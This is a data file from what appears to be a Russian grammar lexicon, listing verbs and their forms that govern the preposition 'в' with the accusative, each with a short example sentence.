rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
